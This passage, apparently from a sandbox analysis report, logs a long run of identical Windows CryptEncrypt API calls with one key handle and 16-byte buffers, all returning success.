pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.883] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.884] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.885] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.886] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, 